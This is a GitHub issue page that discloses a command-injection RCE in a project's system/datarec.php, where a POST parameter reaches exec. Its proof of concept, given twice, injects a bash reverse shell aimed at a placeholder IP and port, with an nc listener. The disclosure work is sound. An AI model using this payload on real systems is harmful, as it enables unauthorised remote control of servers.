We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
A RCE was found in system/datarec.php, the $_POST[r_name] is directly passed into the $mysqlstr, and is executed by exec, which causing a RCE.
$_POST[r_name]
POC: Firstly, start a nc listener:
Next, post a request with parameter: r_name=$(bash -c 'bash -i >& /dev/tcp/x.x.x.x/8888 0<&1 2>&1')
Finally, you get the reverse shell:
The text was updated successfully, but these errors were encountered:
No branches or pull requests
A RCE was found in system/datarec.php, the
$_POST[r_name]
is directly passed into the $mysqlstr, and is executed by exec, which causing a RCE.POC:
![U0 }2 ZX_1W3~R5`VW(VZ@D](https://user-images.githubusercontent.com/51911561/137783514-86c6dd2b-33bb-4f9b-bbae-23947bea15b2.png)
Firstly, start a nc listener:
Next, post a request with parameter:
![CEJ17J 7`ZUFTTE}INOM$RG](https://user-images.githubusercontent.com/51911561/137783531-d93f4052-8e7a-4c3c-98d0-2b6f5ff34ee2.png)
r_name=$(bash -c 'bash -i >& /dev/tcp/x.x.x.x/8888 0<&1 2>&1')
Finally, you get the reverse shell:
![HRVEDK)LA`%4_BC5ELHJ0QY](https://user-images.githubusercontent.com/51911561/137783547-7892ab00-db89-4dc5-a160-702db6171923.png)
The text was updated successfully, but these errors were encountered: